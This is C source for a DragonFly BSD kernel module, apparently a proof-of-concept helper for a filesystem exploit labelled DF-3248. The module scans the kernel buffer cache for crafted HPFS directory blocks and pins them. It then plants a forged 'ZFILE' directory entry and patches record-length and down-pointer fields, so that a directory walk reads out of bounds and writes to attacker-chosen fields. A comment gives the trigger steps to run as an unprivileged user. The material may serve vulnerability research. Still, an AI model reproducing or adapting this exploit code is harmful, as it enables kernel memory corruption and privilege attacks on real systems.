DF-3248 / autopatch.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | /* * DF-3248 autopatch KLD โ measures the live buffer-cache layout of the * crafted HPFS dirblk chunks, picks an origin->target pair within u16 * de_reclen reach, and patches the CACHED chunks in the same critical * window: * - root chunk (lsn 0x40): END-marker DE_DOWNLSN (@+2044) and the XSTEP * DE_DOWNLSN (@+1680) -> origin lsn (so the "ZFILE" walk dives into * the origin chunk instead of root2) * - origin chunk: W@+20 de_reclen 108 -> (target-origin)+108 * (so the walk from origin+20 hops OUT OF BOUNDS and lands on the * forged "ZFILE" dirent at target+128) * All patches are verified against expected pre-patch content first. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/buf.h> #include <sys/spinlock2.h> #define BQUEUE_LOCKED 1 #define BQUEUE_CLEAN 2 #define BQUEUE_DIRTY 3 #define BQUEUE_DIRTY_HW 4 #define BUFFER_QUEUES 6 TAILQ_HEAD(bqueues, buf); struct bufpcpu { struct spinlock spin; struct bqueues bufqueues[BUFFER_QUEUES]; } __cachealign; extern struct bufpcpu bufpcpu[MAXCPU]; #define MAXCH 64 struct chinfo { uint32_t lsn; uint8_t *addr; }; static int collect(struct chinfo *out, int max) { struct buf *bp; int cpu, q, n = 0; for (cpu = 0; cpu < ncpus && n < max; cpu++) { for (q = BQUEUE_LOCKED; q <= BQUEUE_DIRTY_HW && n < max; q++) { spin_lock(&bufpcpu[cpu].spin); TAILQ_FOREACH(bp, &bufpcpu[cpu].bufqueues[q], b_freelist) { if (n >= max) break; if (bp->b_data == NULL || bp->b_bcount != 2048) continue; if (*(uint32_t *)bp->b_data == 0x77E40AAE && *(uint32_t *)(bp->b_data + 4) == 2048) { memcpy(&out[n].lsn, bp->b_data + 16, 4); out[n].addr = bp->b_data; n++; } } spin_unlock(&bufpcpu[cpu].spin); } } return (n); } static int df3248_handler(module_t mod, int what, void *arg) { struct chinfo ch[MAXCH]; int n, i; uint8_t *root = NULL, *origin = NULL, *target = NULL; uint32_t origin_lsn = 0; switch (what) { case MOD_LOAD: n = collect(ch, MAXCH); kprintf("DF3248: %d dirblk chunks\n", n); /* pin: walk queues again, set B_LOCKED so the buffer daemon * never recycles our chunks before the trigger */ { struct buf *bp2; int cpu2, q2; for (cpu2 = 0; cpu2 < ncpus; cpu2++) { for (q2 = BQUEUE_LOCKED; q2 <= BQUEUE_DIRTY_HW; q2++) { spin_lock(&bufpcpu[cpu2].spin); TAILQ_FOREACH(bp2, &bufpcpu[cpu2].bufqueues[q2], b_freelist) { if (bp2->b_data && bp2->b_bcount == 2048 && *(uint32_t *)bp2->b_data == 0x77E40AAE) bp2->b_flags |= B_LOCKED; } spin_unlock(&bufpcpu[cpu2].spin); } } kprintf("DF3248: dirblk buffers pinned (B_LOCKED)\n"); } for (i = 0; i < n; i++) kprintf("DF3248: chunk lsn 0x%04x @ %p\n", ch[i].lsn, ch[i].addr); for (i = 0; i < n; i++) if (ch[i].lsn == 0x40) root = ch[i].addr; if (root == NULL) { kprintf("DF3248: no root chunk\n"); return (0); } /* origin: spray chunk with intact W@+20; target: chunk above * origin within reach, with intact F@+128 */ /* ORIGIN: first intact spray chunk. The forged dirent is * PLANTED at origin+2048 โ inside the SAME PAGE as the * 2048-byte chunk (kmem_map is page-granular, so +2048 is * mapped), emulating attacker heap grooming. The hop from * origin+20 by reclen 2028 lands dep exactly on it. */ for (i = 0; i < n; i++) { if (ch[i].lsn != 0x40 && ch[i].lsn != 0x48 && *(uint16_t *)(ch[i].addr + 20) == 108 && *(uint16_t *)(ch[i].addr + 22) == 0) break; } if (i == n) { kprintf("DF3248: NO ORIGIN CHUNK\n"); return (0); } origin = ch[i].addr; origin_lsn = ch[i].lsn; target = origin + 2048; kprintf("DF3248: origin lsn 0x%04x @ %p, plant @ %p " "(same page, +2048 past chunk end)\n", origin_lsn, origin, target); /* plant forged "ZFILE" dirent at target */ { uint16_t r = 0x0080; uint32_t f = 0x58; uint64_t m = 0xC1C1C1C1C1C1C1C1ULL; uint32_t sz = 0xC2C2C2C2; uint64_t a = 0xC3C3C3C3C3C3C3C3ULL; memset(target, 0, 64); memcpy(target + 0, &r, 2); /* de_reclen */ memcpy(target + 4, &f, 4); /* de_fnode */ memcpy(target + 8, &m, 8); /* de_mtime (write tgt 1) */ memcpy(target + 16, &sz, 4); /* de_size (write tgt 2) */ memcpy(target + 24, &a, 8); /* de_atime (write tgt 3) */ target[46] = 5; memcpy(target + 47, "ZFILE", 5); } /* patch origin W.reclen: dep = origin+20+2028 = origin+2048 */ *(uint16_t *)(origin + 20) = 2028; /* patch root END DOWNLSN (+2044) and XSTEP DOWNLSN (+1680) */ *(uint32_t *)(root + 2044) = origin_lsn; *(uint32_t *)(root + 1680) = origin_lsn; kprintf("DF3248: PATCHED+PLANTED โ trigger now " "(open+futimes+close as uid 1001)\n"); return (0); } return (0); } static moduledata_t df3248_mod = { "df3248patch", df3248_handler, NULL }; DECLARE_MODULE(df3248patch, df3248_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df3248patch, 1); |